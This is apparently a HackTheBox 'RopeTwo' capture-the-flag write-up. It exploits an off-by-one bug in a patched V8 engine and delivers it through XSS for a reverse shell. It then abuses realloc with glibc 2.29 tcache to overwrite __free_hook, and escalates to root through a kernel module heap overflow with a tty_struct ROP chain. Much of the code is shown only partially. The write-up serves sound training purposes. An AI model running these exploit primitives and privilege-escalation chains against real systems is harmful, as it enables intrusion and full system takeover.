This box was without a second thought one of the favourite box of mine on HackTheBox so far, since I am more of a pwn and reverse engineering person, this machine was a challenge, an outstanding one which pushed my learning skills more further because upto the moment I really went into this, I was not a good at heap exploitation, more skeptical about the V8 exploitation skills of mine and of course I knew nothing of the kernel pwn, so this was a way to tackle every weakness of mine, hope you find the writeup useful, I’ll include the link of the attachments at the very bottom to my files, QEMU enviornment for the kernel pwn and the exploits, without further ado, let’s start.
Foothold
So, as this became kind of obvious that the foothold required the V8 exploitation as the rumors went by. But apart from that, I started scanning the ports as I was unclear myself where and how things are on this machine, now starting off, I used nmap to scan the ports:-
➜ ✔ nmap -sV -sC -A 10.10.10.196 |
The port 22 was open, being the SSh, the other two were the ones running the webserver, port 5000 was running the GitLab and the port 8000 running a webserver.
Checking the port 5000:
It seemed like the portfolio for a company showing their own version of V8 engine, which is the JavaScript Engine for the chromium based browsers, there was a download link for the browser, so without any second thought I downloaded it.
From the name of the archive it seemed like the chromium browser compressed into the POSIX tar archive, after extracting it seemed like the chromium browser as we expected it to be, although running it, just spawned the chromium browser, so that was it, nothing special came out of this.
Now, that being aside, the only port that was 8000, we had a link at the footer of the page which said Source, opening the link, we immediately see a subdomain gitlab.ropetwo.htb
, which was as follows:-
V8 Exploitation
We immediately, sees a commit which was made, as I did some v8 pwn, I went to check on commit and found the diff
file, using so, I moved further and started building v8 engine binary d8, I used the commit, prior to the r4j
user made, which was at here
Now, first of all, we didn’t has much thing to get started, as for starting to pwn the v8 engine of it, we had to build the binary named d8
, since that was not provided. I fetched the v8 engine code from the google and checkout the last commit which was mentioned in the GitLab, following are the steps one could replicate to make their own version of the d8 by applying the diff
file.
d4mian@pwnbox:~$ fetch v8 |
This took some time, approximately 3 hours on my VM which had 3GB of RAM and 1 core, though I made both the debug version and release version, but the release version was more helpful because before doing this v8 exploitation challenge, I did the DownUnderCTF’s “Is it Pwn or Web?” challenge which was close to same to this one, that being said, let’s get started.
Attachment: The
d8
binary and the exploits can be found here: https://github.com/D4mianWayne/PwnLand/tree/master/CTFs/RopeTwo_HackTheBox/Foothold
The only obstacle one would really stumble upon during this challenge is the use of the Pointer Compression, this made the address representation in 32 bit, which resulted in the leak being hard to make something of, since the isolate root, the upper 32 bit value of an address which is used to access the data around the V8 heap turned out to be an issue. But going through this blog, this mentioned that we do not need to know about the isolate root address, if we could manage to massage the vulnerability to get fakeobj
and the addrof
primitive, then we can get through the pointer compression which would result in not being a problem.
First of all, we need to analyse the patch file such that we spot which commit specifically pushed changes and pushed it where exactly:-
~/Pwning/HackTheBox/htb-rope2 $ cat patch.diff |
Breaking this down, the following lines:-
--- a/src/builtins/builtins-array.cc |
Here the /src/builtins/builtins-array.c
is used to denote that there are some new functions which are being added, this being mentioned the following two functions which were added here is the ArrayGetLastElement
and the ArraySetLastElement
, let’s break those down one by one:-
The
ArrayGetLastElement
as the name implies, it gets the last element from the array, first off it calculates the length in the variablelen
the returns the element stored as thelen
index, now i =f you pay attention here, thelen
here is an absolute length of the array, we know that since an array indexing starts from the0
, to access the 0th element we doarray[0]
but here since the element is stored in an array and the value which is at thelen
index is being hence allowing us for Out-Of-Bound read by 1 element.The
ArraySetLastElement
as the name says, this built-in function saves the value to the last index of the array, now here, as of the previous function, thelen
is counted by the length of the array and then elements defined would be overwritten at that index,array[index] = element
. Yes, you’re thinking corrrectly, we have Out-Of-Bound write here too but by 1 element.
So, as above mentioned we know that there are 2 functions that we have use in order to exploit this specific patch of the binary and eventually the chrome browser.
As this is also going to be very detailed blog post, we will understand the concepts first then we will move on eventually.
As JavaScript is a dynamically typed language, the engine must store type information with every runtime value. In v8, this is accomplished through a combination of pointer tagging and the use of dedicated type information objects, called Maps. These Maps are used to keep the track of the objects created at runtime, since this is how objects are handle, overwriting the map would lead to some internal type confusion within the V8 engine itself.
As of now, you might be thinking how exactly we access Maps and most importantly “How do we recognize a Map?”, for this I used the debug version of the d8
binary. that binary when run with the allow-natives-syntax
will let you use the %DebugPrint(<object>)
which will print the related information of the objects, let’s say, for example, we declared the array with the elements and then use the %DebugPrint(arr)
to get all the information about an objects including but not limited to:-
- Map address
- Element Pointer
- Type Information etc.
d4mian@pwnbox:~/Pwning/v8/out.gn/x64.debug$ gdb ./d8 |
Now, breaking it down, we have the arr
located at the 0xe81080c5e45
which is of type JSArray
and it has it’s map located at the 0x0e8108281909
, other than that, according to the information, it has a map of PACKED_DOUBLE_ELEMENTS
which references to the arr
having elements of double type. The element pointer is located at the 0x0e81080c5e25
which is of length 3 and is of type FixedDoubleArray
. Now, using the gdb, we check the memory contents around the arr
.
To check the memory contents of the address, we need to subtract 1 from the address, such that we get absolute address for the analysis.
^C |
From the debug information, using the %DebugPrint(arr)
, and the gdb output, we can see that the 1st element belongs to the map of the array itself, the second belongs to the Properties, the third belongs to the elements array. If you pay attention, I used the x/wx
which will show the address as 32 bit representation, the thing here is, the version of the commit made to the V8 engine was after the integration of the pointer compression, which made the addresses to be representated as the 32 bit integer.
gef➤ x/5xg 0x0e81080c5e25 - 1 |
Now, since we know how an array is represented into the V8 heap and we also know that we have Off by One read and write vulnerability, which draw us to the conclusion of the we have the ability to overwrite the Map of an object. With this in mind, let’s move on:-
First off, we need to make the utility functions such that we can deal with the pointer tagging and change the floating values to decimal and vice versa. The following JavaScript function will let us do the work mentioned:-
var buf = new ArrayBuffer(8); // 8 byte array buffer |
The above functions are used to convert the float to integer and integer to floats, since the memory address are going to be overwritten by their respected values as float, we need those.
Moving on, we need to create some float arrays, to get the required leaks, we also need them for doing the fakeobj
and the addrof
primitve, without further ado, let’s start:-
var float_arr = [1.1, 2.2, 3.3, 4.4, 5.5]; |
These are the variables that will be involved further in the exploit, next off, we need to get the addrof
primitve, this means we need to leverage the off by one to read address of an object, let’s see:-
var float_arr_map = ftoi(float_arr.GetLastElement(), 32) |
Here, first we get the map address of the float_arr
and the reg
array, then we have a function named addrof
, this takes an object as the argument that would be the object address we need to get the address of, what we do is first overwrite the float_arr
map object with the reg
array, this means, as of now, the map address of the float_arr
is pointing to the map of the reg
array, then we make the first object of the float_arr
to that of object we need to get the address of, then we place the map of the float_arr
right back to where it was.
Considering, we have a map leak, if we try to read what is stored at that address, it will result in:-
Success, with this out of the way, as of the v8 exploitation goes, we need to have a fakeobj
primitive. The fakeobj
function is below:-
function fakeobj(addr) { |
Let’s talk about the fakeobj
function, this primitive, in context of this vulnerability and specific patch, we put the address of the fake object we want to put, it is placed onto the first element of the float_arr
, then we changed the map of the float_arr
to the reg
array’s map, so when we tend to access the data from the 0th index, how this works is:-
- We put the address of the object we wamt to overwrite another object with.
- Set the map of the map of the
float_arr
to the map of thereg
- Get the fake object from the
float_arr
- Put the map of the
float_arr
back to it’s original place
These are the primitives, we needed to have before we jump into the read/write primitive, although with these out of the way, we can now work on our functions arb_read
and arb_write
which will be used to read address from/write values to an address respectively.
Moving on, the arbitrary read function is of interested and I’ll try my best to explain, for the moment, consider the following function which is used to read a value from the arbitrary address:-
var rw_helper = [itof(float_arr_map, 64), 1.1, 2.2, 3.3]; |
This function works by first, making a fake object via the fakeobj
function, then we put the address we want to read from, it is written to the 1st index of the rw_helper
array, then the first element from the fake
object is wrong, this is the follow up of the function, which left the understanding of the whole logic, I explained it in steps with the help of the the d8
binary and showing it:-
We create the fakeobj
with the address of the rw_helper
, we subtracted 0x20
from it because the 32 bytes are for the layout of the memory, in this case, we did it because>:-
gef➤ r --shell ./xpl.js --allow-natives-syntax |
As for the write function, that also worked on the same princpile of the read function:-
function arb_write(addr, value) { |
This, if we break down the logic:-
- This, if compared to the function of the
arb_read
, this instead of returning the first value fromfake
array which was the result of faking the object, it overwrites the value that was stored at the first index.
return ftoi(fake[0], 64); |
The above is from the arb_read
.
fake[0] = itof(value, 64); |
This is done by overwriting the value which was being returned in ther read
function, from here we will leverage for the inital writing to, what we refer as the WebAssembly Page in JS, so initially, you cannot start off with the classic pwn challenges one could use the approach of overwriting the __free_hook
with of system
, then spawn a shell, in the v8 based challenges, mostly CTFs, this is done by creation of a wasm function which would result in the creation of a rwx
permission page in the memory layout of the program, from here the approach is following:-
- Find the
rwx
segment address, calculate the address of it. - Write the shellcode to the area of the
rwx
segment. - Call the wasm function created earlier, since shellcode would be written to that function, calling it will eventually result in the shellcode execution.
|
This is the JS code which is used to create pwn
function which would reside in the rwx
section, with this step aside, let’s move on:-
var wasm_instance_addr = addrof(wasm_instance) & 0xffffffffn; |
First off, we needed to find the base address of the rwx
segment, this was easier to find since, all I had to do is to find the address stored throught the memory and from what offset, it was exactly located at, I used the gef
‘s search-pattern rwx_address
and found the reference of that memory located at the offset wasm_instance_addr + 0x68
:-
gef➤ vmmap |
With the above out of the way, we need to know make use of DataView
and ArrayBuffer
as this will help you in overwriting the address with the desired value, in short these two functions allows you to write the data in binary format using the ArrayBuffer
.
console.log("[+] Wasm instance address: 0x" + wasm_instance_addr.toString(16)); |
The backing store of an ArrayBuffer
can be considered as same as the elements pointer of a JSArray
. It is found at offset &ArrayBuffer+0x14
, which you can find out by using the x64.debug
version of d8
binary. The principle of this is that instead of using a fakeobj
to write directly to an arbitrary address, we use the fakeobj to do the arb-write
and modify the backing store of a legitimate ArrayBuffer to our arbitrary address, which in this case would be overwritten with the rwx
segment. Now, we can use dataview.setBigUint64(0, val, true)
to write our val as a little-endian 64 bit value to our arbitrary address. This is shown below:-
var arr_buf_addr = addrof(arr_buf) & 0xffffffffn;; |
Now, this aside, we just call the function pwn
which would result in the execution of the shellcode:-
pwn(); |
Run the exploit as ./d8 ./xpl.js
and we will see a successful calc pop:-
As it worked on d8
, we must try it on the chrome binary which was distributed along from the port 8000, to run the exploit, we have to make a HTML file in which we will include the pwn.js
file, the idea here is to use --no-sandbox
which ultimately means no sandbox escape is being and all the JIT code must be executed on the system itself, the HTML file:-
<html> |
Running the given chrome binary as ./chrome --no-sandbox ./xpl.html
resulted in the calculator being popped:-
Now, with this aside, first off I changed the shellcode from the previous to reverse shell shellcode, for which we will be using the exploit to get reverse shell, the final exploit looked like this:-
var float_arr = [1.1, 2.2, 3.3, 4.4, 5.5]; |
Now, the obstacle was, where exactly are we supposed to submit the exploit to, there are no chrome instance running on any port, is there? But then, there was this /contact
on the port 8000, at this point, I wasn’t sure much either, so knowing the comment kind of template might have the XSS vulnerability, this was the only way that seemed to make sense, so giving the exploit as <script>exploit</script>
in the message body and having our netcat listener waiting for the connection, we get the shell as chromeuser
User
After getting the foothold on the machine as chromeuser
, looking over in the /home
folder there were two directories which include r4j
and chromeuser
and since the /home/chromeuser
didn’t had user.txt
or anything else that would hint towards something, I started doing the basic enumeration for finding the SUID binaries, which showed the following binaries:-
chromeuser@rope2:~$ find / -perm -u=s -type f 2>/dev/null |
Out of all the listed binaries, the rshell
stood out the most, running the binary was functioning as follows:-
chromeuser@rope2:~$ /usr/bin/rshell |
Knowing the author, I assumed this rshell
binary is going to be about binary exploitation, this meant it was time to transfer it to the machine of mine and start to dissect it to know the flow of it.
Tcache Heap Exploitation
main
function
void __fastcall __noreturn main(__int64 a1, char **a2, char **a3) |
The main
functions runs in a while
loop, then it takes input via read
showing the prompt $
, there’s a call to the initialize
function which was as follows:-
unsigned __int64 initialize() |
It just setus the buffereing and do memset
on the global array named directory_file_pointers
, the rshell
function was defined as follows. The rshell
function seems to have 4 options including id
, ls
, add
, rm
and edit
which proposed the basic functionality of the shell:-
unsigned __int64 __fastcall rshell(char *a1) |
Allocated chunks here are referred to files in context of the binary
Seeing this, when we do ls
, it calls print_directory
which showed the list of allocated files, then for add
, edit
and rm
it calls their respective functions and the last one being the id
which just prints the string uid=1000(r4j) gid=1000(r4j) groups=1000(r4j)
, so this was doing nothing,
add
function
This function was responsible for handling the workflow of adding new files:-
unsigned __int64 __fastcall add(const char *a1) |
I’d advise you to go through the code yourself, but the functionality of this function can be summed up as following:-
- First off, it checks if there’s no allocated chunks already if it does, whether it exceeds the memory limit, if so, print
"Memmory Error"
. - Second, it iterates over the allocated chunks and comapare if the chunk name we are allocating is already available or not.
- Then it asks for the size and checks if it is less than
0x78
or not, the size constraint hinted towards the tcache. - Then it allocates a chunk on heap with the size defined and attempt to take the input via
fgets
on that chunk.
The takeaways from this function are as follows:-
- The number of chunks(files) we can add is 2 at most.
- The size accepted for the chunk allocation is restricted to the 0x78, for which we can safely assume we will deal with tcache.
rm
function
The rm
function which was responsible for removing chunks(files) from the binary was handled by this function:-
unsigned __int64 __fastcall remove(const char *a1) |
This function was responsible for deleting files(chunks) from the global array, the function can be summed up as:-
- It checks whether te specified files is in the gloabl array
directory_file_pointer
. - Then it does the
memset(chunk, 0x0, 0xc8)
which means whatever content was stored at that chunk would be0x0
once we dorm
. - After that, it
free
that chunk and set the global pointer to NULL, totally making this function from being a victim of Use After Free.
Takeaways from this functions are:-
- Once
free
‘d, the chunks would not contain any data. - After being
free
‘d, it NULLs out the global pointer which held the pointer for the heap chunks. - No Use After Free from this function.
edit
function
We also have a function called edit
, this one was of a great interest:-
unsigned __int64 __fastcall edit(const char *a1) |
Did you saw the catch here? If not, don’t worry, I couldn’t either at first time, but let’s break down the functionality of this function such that the logic of it becomes clear:-
- First off, this function checks whether the file(chunk), we requested for the edit is in the global arrat
directory_file_pointer
or not, if it does, proceed. - Then it asks for the
size
, for which it’ll be used to read new content. - The size constraint here also hinted towards the
tcache
involvement. - Then it does
realloc
with the size given and second argument being the chunk. - Attempt to read into that extended chunk with the new data we wanted to store.
Vulnerability
The cue for this binary was the edit
, pretty expected coming from heap challenge, for most part the vulnerability always seem to have in edit
functionality provided by the binary. In this case, the vulerability arises from the use of the function realloc
, for this if we refer to man pages, we can see how this was the point of the vulnerability:-
The realloc() function changes the size of the memory block pointed to
by ptr to size bytes. The contents will be unchanged in the range from
the start of the region up to the minimum of the old and new sizes. If
the new size is larger than the old size, the added memory will not be
initialized. If ptr is NULL, then the call is equivalent to mal‐
loc(size), for all values of size; if size is equal to zero, and ptr is
not NULL, then the call is equivalent to free(ptr). Unless ptr is
NULL, it must have been returned by an earlier call to malloc(), cal‐
loc(), or realloc(). If the area pointed to was moved, a free(ptr) is
done.
Did you notice? Yes, calling ralloc(0, &chunk)
is basically calling free(&chunk)
, this is the cue, we have a Use After Free vulnerability in the edit
function. Since there’s no check for the size being 0
, as it only checks whether the given size is the within 0x70
this made the use of realloc
function vulnerable here, making this the way to exploit the binary.
For this challenge, it would have been lot more easier if we had the GLIBC 2.27 instead of the GLIBC 2.29, since GLIBC 2.27 instroduced the tcache
mechanism to a greater range of users and systems, it had quit a lot amount of flaw in the use of tcache
which made them suspectible to vulnerabilites like double free, but as the vulnerabilities got reported, this resulted in some major change sin the LIBC 2.29, with the following security mechanism but not only limited to those:-
- Added checks for the double free which made it harder to propogate this vulnerability.
- Increase in assertion check of the size.
- Unsorted bin attack is not easy applicable.
Although, we don’t have to deal with the Unsorted bin attack, and with the added checks for the double free, it makes the challenge much more difficult, making for us to bang our heads more than we already been doing.
We have to deal with the checks for the double free, which we will see later on.
The functions responsible for placing and retrieving the chunks out of the tcache
are as follows:-
static __always_inline void * |
As you can see, from this there are no checks for double free, on the other hand, since the target system has the GLIBC 2.29 and above code snippet has a check for double since there’s a use of e->key
for the chunk, this made the challenge harder than usual.
First off, with the complication of the binary, we will try to do this with the ASLR off, to get the basic understanding of the exploit, then using it as base, we will proceed with it. In order to get over the workflow of heap management, I’d advise you to go through following links:-
- https://github.com/D4mianWayne/PwnLand/blob/master/Heap/GLIBC%202.27/tcache-overview.md
- https://jjy-security.tistory.com/10&prev=search&pto=aue
Now, considering you have basic understanding of the tcache management, with that on our skill set, let’s move on to write the wrapper functions to interact with the binary’s functionalities:-
|
Now, with this aside, we will now move on the actual exploitation part, I’d say pay attention here as much as possible as the initial ideologyof the exploit is very confusing, but as you move on, you’ll understand.
For starting, we will allocate and free chunk 1:-
allocate(0, 0x48, "A") |
Now, this will land into the tcache bin:-
Since, we know that calling realloc(0, chunk)
will be just free(chunk)
, we will allocate a chunk of size 0x68
and then do realloc(0, chunk_2)
where chunk_2
represent the chunk we allocated of size 0x68
.
allocate(0, 0x68, "A") |
Doing so,
As you can see, it is not removed from the global array which is used to store the information about the allocated chunk and size, located at base + 0x4060
. Now, moving on, we re-allocate the same chunk at the index 0
but we shrink the size from the 0x68
which was free
‘d earlier, and now we update the size to 0x18
, then we free it a
realloc(0, 0x18, "A") |
Now, doing so, we have the same heap chunk at the tcache index 0 as well as on index 5.
Now, the same chunk reside in different indices, the reason that happened because first off, we allocated chunk of size 0x68
, then we free
‘d it with the realloc(0, 0, "")
this free'd
the region but the global pointer was not NULL, so when we do realloc(0, 0x18, "A")
, this made the chunk which was free
‘d before, making the free
‘d chunk being used and it ended up being reduced to the size 0x18
, so when we free
it again, the chunk will land into the different index of the tcache
bin.
Now, we allocate another chunk of size 0x48
, then we free
it again using the realloc
:-
allocate(0, 0x48, "B") |
Doing so, the heap structure turned out to be:-
Then, we realloc
the same chunk as of the same size it was allocated to:-
realloc(0, 0x48, "B"*0x10) |
Now:-
gef➤ heap bins |
Playing close attention here, the bin at the index 3, has now an entry pointing to itself, as shown by the gef
. This aside, now we will allocate at chunk of size 0z48
which will be retrieved from the index 3, giving the address 0x5555555592d0
, since the chunk would still be in the same bin because of the duplicate entry. Now, we will re-allocate a chunk of size 0x68
at the index 1
, this will retrieve from the index 5 of the tcache
bin list, since the same chunk 0x5555555592b0
is in two different indices, we write the payload "C"*0x18 + p64(0x451)
, As the difference between the chunk at index 3 and index 5 of tcache is 0x20
, we will overwrite the prev_size
to 0x451
, this made the heap structure like this:-
allocate(0, 0x48, "C") |
Once we free the chunk, the chunk at the index 1, it’ll be:-
free(1) |
Now, we need to at least fill a certain index of the tcache
bins in such a way that the chunk we free
after filling the tcache
lands into the fastbin. Now, the way we fill the tcache
here is by allocating the chunk at the index 1, and then reallocating the same chunk by extending the size to a much bigger value and then free
‘ing the chunk.
for i in range(9): |
Doing so, the tcache
bin structure becomes:-
Then, we allocate a chunk of size 0x58
which will retrieve the chunk from the tcache bin[3]
. Now, what we do here is free the chunk saved at the index 1, then the chunk which was allocated at the index 0
of the global array, we free
it with the realloc
, now doing so, since the chunk at that index had the size 0x451
which is more than the tcache
structure can hold, this will make them land into the unsorted bin.
allocate(1, 0x58, "A") |
Now, doing so, the chunk 0x5555555592d0
went into the unsorted bin, this chunk remain in the tcache
and the unsorted
bin:-
Now, since the chunk belongs to unsorted
bin, we can edit the fd
and bk
of it because of the Use After Free&, now then, as there’s no show function, we populate the fd
of that free
‘d chunk in the _IO_2_1_stdout_
and the next time, we allocate the chunk, we will get the structure of the _IO_2_1_stdout_
which we will be able to modify.
realloc(0, 0x38, p16(0xc760)) # ASLR disabled |
Now, we have to allocate chunk carefully since at this point the structure of the heap is not very good, doing anything reckless will mess up the exploit further. Now, what we do is again, allocate a chunk at the index 1, then reallocate the same chunk by shrinking it’s size to smaller than it was allocate to, and free
‘ing it, now, when we try to reallocate the chunk 0, to a more smaller size and then free
it, doing so, will make the _IO_2_1_stdout_
address to the top of the index 3rd of the tcache
bin list:-
allocate(1, 0x48, "E") |
Now, apparently explaining the structure of the _IO_2_1_stdout_
is too much hassle in this already long writeup, so I’ll add the references link below for understanding the structure. Now, what we do here is allocate a chuk at the index 0 with the size 0x48
, which will return the chunk stored from the bin[3]
, the given data will be written to the address pointed by the chunk, whhich would look likt his:-
allocate(0, 0x48, p64(0xfbad1800)+p64(0)*3) |
After a puts
call, there was lot of addresses dumped to the stdout
, which was bit too much, this made it hard to get an exact lLIBC leak, this problem was with the ASLR off, which, in turn ran with the bruteforce works perfectly normal.
So, for the ASLR off part, the leak parsing was something like this:-
leak = p.recv(0xe20 + 0x10)[0xe20 + 0x5:0xe20 + 0x5 + 6] |
Now, what we do is, allocate at the chunk 1 with size 0x70
and then free
it with the use of the realloc
, this will push the chunk on the tcache
bin list, now we again reallocate the same chunk by shrinking it’s size to the 0x18
, then we allocate the chunk of the same size earlier and edit the fd
of the next adjacent chunk to the __free_hook - 0x8
and made the size to the 0x41
which will make it belong to bin of size 0x50
. Then we free
the chunk 1.
allocate(1, 0x70, "F") |
Now, we retrieve the chunk and overwrite the free_hook
with the system:
allocate(1, 0x58, "G") |
Now, we invoke the __free_hook
by calling the rm
function:-
p.sendlineafter("$ ", "rm 1") |
The final script for the remote server can be found here
Running the remote exploit, since ASLR was enabled on the server, we have to bruteforce the last 4 bytes of the _IO_2_1_stdout_
, in my case I had the issue with the LIBC leak, with the help of the FizzBuzz, using the last bytes as p16(0x2760)
, doing that so and running the exploit in while
loop, I got the shell with 40-60 tries:-
Issue, after getting the shell as the user
r4j
, I couldn’t read theuser.txt
which was because of the groups I belonged, using thenewgrp
and leveraging to ther4j
group, I was able to read the user flag.
Root
Now, being the user r4j
didn’t really gave much away with basic enumeration and as I knew that the fact of the root part being the kernel, I went in and checked for the /dev/
to look for any suspicious driver, in this case the only thing that stood out more than the other was, ralloc
.
Attachment: The files for root exploitation can be found here.
One way I found about the ralloc
custom LKM was with the help of dmesg
, which showed the follwing message:-
Now, that showed, we have the ralloc
, although to start off with the exploitation or even knowing the workflow of this module, I needed to get the ralloc.ko
, doing locate ralloc.ko
, the file was located at /usr/lib/modules/5.0.0-38-generic/kernel/drivers/ralloc/ralloc.ko
which is the default path where kernel modules are stored. Then checking for the kernel version:-
Linux rope2 5.0.0-38-generic #41-Ubuntu SMP Tue Dec 3 00:27:35 UTC 2019 x86_64 x86_64 x86_64 GNU/Linux |
Kernel Exploitation
There was no publically available CVE for this version of kernel, what left was to dissect the binary and try to understand the workflow and look for any vulnerable part. I am more fan of IDA than of Ghidra, but then again it’s just personal preference, at the end you’ll have the overall idea. So, moving on, let’s reverse engineer the binary and see what the binary really does:-
Now, using the IDA
and cleaning up the code a lot, there were 3 functions, in which the rope2_ioctl
was one of the functions which was most interesting, the other 2 being rope2_init
and rope2_exit
are there to handle the intialization and exit operation for the modules, aside from those, the function we need to really focus on was the rope2_ioctl
which was as follows:-
The development of the exploit is done on the QEMU instance which can be foind at the above attached link.
KASLR has been off for the debugging purpose but it is enabled on the RopeTwo machine.
First off, there were four options one could invoke, which were as follows:-
case 0x1000: |
The first option, here which can be invoked by giving the 0x1000
as option, which we will see later on how we will interact with it, here it takes the two options, index
and the other being size
on the basis of that, it will allocate the chunk on the kernel heap with the kmalloc
and save it on the global array with the index given, the upmost index
that we could allocate to is 0x1F
and accepted size is <= 0x400
.
case 0x1001: |
The option 0x1001
here is used to invoke a function which only takes index
as the option and then checks if the index exist or not, on the basis of that it calls kfree
and release the allocated chunk.
case 0x1002: |
The option was used to write to an allocated region, it takes the index
, the size
and the pointer to the buffered region.
if ( choice != 0x1003 ) |
This function was used to interact in order to read from the allocated region, this takes the index
, size
and the pointer to the buffer where the contents from the allocated region will be copied, this pointer would from the userland region.
Summarsing the code, we conclude it to:-
0x1000
: Allocate function which takesindex
andsize
.0x1001
: Free function which takes theindex
.0x1002
: Write function which takes theindex
size
anddata
to be written.0x1003
: Read function which takesindex
,size
and thedata
where the contents of the chunk would be read.- We can only allocate chunks upto to
0x1F
times.
So, where does the vulnerabilit exists? It exists in the function 0x1000
which is used for allocation, now let’s see where it was:-
chunk = _kmalloc(*&request.size, 0x6000C0LL); |
The structure of the heap
can be considered as:
struct heap { |
If you pay close attention to the heap.size + 32
, well considering how the heap
structure here is, there’s an extra 32 bytes added to it. This in turn, allowed us to write 32 bytes more than size of an allocated chunk, same as for read, we can read extra 32 bytes than the chunk’s actual size.
So, conlcuding, we have 32 byte extra overflow for read/write. Now, the question arises, how exactly we interact with the service, to do so, I used ioctl
to interact with it, the following functions I created:-
struct message { |
The
*.cpio
file could be compiled withfind . | cpio -H newc -ov -F ../initramfs.cpio
For the experimentation, I made a QEMU instance of the Linux Kernel 5.0.-38
with the ralloc.ko
as a module loaded to it upon starting, which I uploaded to the github, linked above, try it yourself.
The question we end up at last at exactly how are we supposed to exploit this heap overflow which only gives us the extra 32 bytes to do read/write. Upon the extensive research, I found this blog post by ptr-yudai, which if translated to the english stated as follows:-
Size : 0x2e0 (kmalloc-1024)
base : ops
the ptm_unix98_ops
leak possible because it refers to. Besides that, it pointed to the data area of the kernel in about two places.
Heap : dev
, driverleak possible because like many of the object is pointing to the members of the heap and own. The target SLUB has not been investigated.
**stack** : I can't seem to leak.
**Secure** :
/dev/ptmxOpen.
**Release** : Close the open
ptmx.
**Remarks** :
ops` RIP can be controlled by rewriting.
Reference : https://elixir.bootlin.com/linux/v4.19.98/source/include/linux/tty.h#L283
Considering the above, I then focused on a writeup wrote by the same author for the challenge he created, which can be found here, this if try to compare from the ralloc
, the initial methodology seems to be same.
Apparently, going in-depth on why this /dev/ptmx
is the best target would be better for a seperate post itself, so I am leaving the unncessary part in this challenge context and will explain the things as we move on. To replicate the same methodology to get the RIP control, firstly I allocated a chunk of size 0x400
which was the meximun size the ioctl can allocate the chunk of and I also opened the ptmx
device.
I turned off the KASLR on the QEMU instance and already got the address of the function we needed:-
commit_creds
ptm_unix98_ops
prepare_kernel_creds
int main() { |
Now, doing so, upon setting up a breakpoint at the rope2_ioctl
‘s kmalloc
call and stepping to it, we see the heap structure as:-
Note: Before debugging do:
add-symbol-file ralloc.ko 0xffffffffc0002000
in thegdb-gef
.
Then, moving on, setup a breakpoint at the b *rope2_ioctl + 342
and then running the program, once it hits the breakpoint, when we see the memory:-
Now, considering that, if we see for the memory content, the ptm_unix98_ops
object was at heap.size + 32
, since heap.size
was 0x400
, the ptm_uniz98_ops
was at the 0x420
. Using the get
function, we can have the leak:-
Now, since we have a leak, this will be useful in retrieving the base address to calculate the address of the function and gadget we will need, for now, since the structure as defined, if we can overwrite the *ops
with the help of the fake tty_operations
array created from the userland, we can have the RIP control.
The POC for
tty_struct
and RIP control can be understood from here: https://www.lazenca.net/pages/viewpage.action?pageId=29327365#id-07.Use-After-Free(UAF)(feat.tty_struct)-PoCcode
Now compiling the exploit:-
|
Doing the above, we get the RIP overwritten as 0xdeadbeef
.
Now, moving on, we will have to somehow execute the ROP chain which will be commit_creds(init_creds())
, and call a function which will spawn shell. As for my initial research, I found out that we can use a gadget like xchg eax, esp
and mmap
a memory region with the lower 32 bit address of the gadget and store our ROP chain to it, which once the RIP hits the gadget, would exchange the eax
and esp
would execute instructions from the mmap
‘d region. To do this, I change the 12th index of the fake_tty_operations
to the address of the xchg eax, esp
gadget and set a breakpoint at the address within gdb:
The gadget was found with the help of ROPGadget and is from the
.text
section because of r/w permissions. `
fake_tty_operations[12] = kbase + 0x4cba4; |
If we step into the instruction and see the values of both eax
& esp
, we will see:-
As seen above, the rsp
is now pointing to the loweer 32 bit address of the gadget, now, we can mmap
a shared memory page such that it’ll be accessible between the kernel and the userland space with:-
void *mapped = mmap(pivot_target & 0xfffff000, 0x1000000, PROT_READ | PROT_WRITE, MAP_ANONYMOUS | MAP_FIXED | MAP_PRIVATE | MAP_POPULATE, 0, 0); |
Now, time to craft a ROP chain which will be stored in the shared memory region, following is the ROP chain I created:-
unsigned long long user_rflags, user_cs, user_ss, user_sp; |
Now, to explain the ROP chain, let’s break down:-
pop rdi; ret
this will pop therdi
register which is responsible for holding the 1st arguument in the x86_64 systems.init_creds
: This will be given into therdi
.commit_creds
, doing so, when the the RIP will reach thecommit_creds
, it’ll execute it ascommit_creds(init_creds())
which will change theUID
for the running process to0
.- Then,
swapgs
will let the it back to the userland safely because of the SMAP and KASLR being enabled, then0xdeadbeef
for the padding. iretq
will store the the flags and register and the RIP.- Followed by the
get_shell
function, this will be the RIP. - Rest flags would be restored and will be considered.
Now, the final exploit looks like this:-
#include <stdlib.h> |
Repacking the initramfs.cpio
with the compiled exploit and running it:-
Compile it with the
gcc -static -masm=intel xpl.c -o xpl
Now continuing the execution, we will get root
on the QEMU instace.
Now, the exploit is ready, bear in mind the exploit is not very reliable like of those standard exploit one can compile, run and poof, root. For the one I created, I had to reset the machine quite few times, but after some tries, I got the root:-
The reason I ran the exploit as
chromeuser
to getroot
is because the LKM was accessible with the bothr4j
andchromeuser
.
Thank you!!!